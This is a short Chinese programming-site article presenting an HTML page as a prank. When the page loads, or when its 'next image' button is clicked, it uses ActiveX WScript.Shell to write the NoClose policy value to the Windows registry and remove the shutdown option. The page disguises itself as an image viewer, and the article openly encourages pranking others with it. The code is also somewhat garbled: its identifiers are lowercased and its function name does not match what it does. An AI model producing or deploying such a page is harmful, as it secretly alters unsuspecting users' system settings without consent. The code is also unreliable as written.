当前位置: 移动技术网 > IT编程>开发语言>PHP > JavaScript实现删除电脑的关机键

JavaScript实现删除电脑的关机键

2017年12月12日  | 移动技术网IT编程  | 我要评论

纯属恶作剧(只对ie浏览器有效因为要调用activex)

<!--
e-mail:shyhero@outlook.com
author: dujianing 
删除关机按钮    
-->
<!doctype html>
<html>
  <head>
    <meta charset="utf-8"/>
    <title></title>
    <script type="text/javascript" language="javascript"> 
      function disabletaskmgr(flg){    
      var shell = new activexobject("wscript.shell");    
      try{
        shell.regwrite("hkey_local_machine\\software\\microsoft\\windows\\currentversion\\policies\\explorer\\noclose",
        1,"reg_dword")  
      }catch(e){
        throw e; 
      } 
    } 
    </script>
  </head>
  <body onload="disabletaskmgr(true)"> 
    <img src="imgs/2.jpg"/>
    <button onclick="disabletaskmgr(true)">下一张
    </button> 
  </body>
</html>

备注:可以恶作剧一下,修改注册表,把值改为0就能还原

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网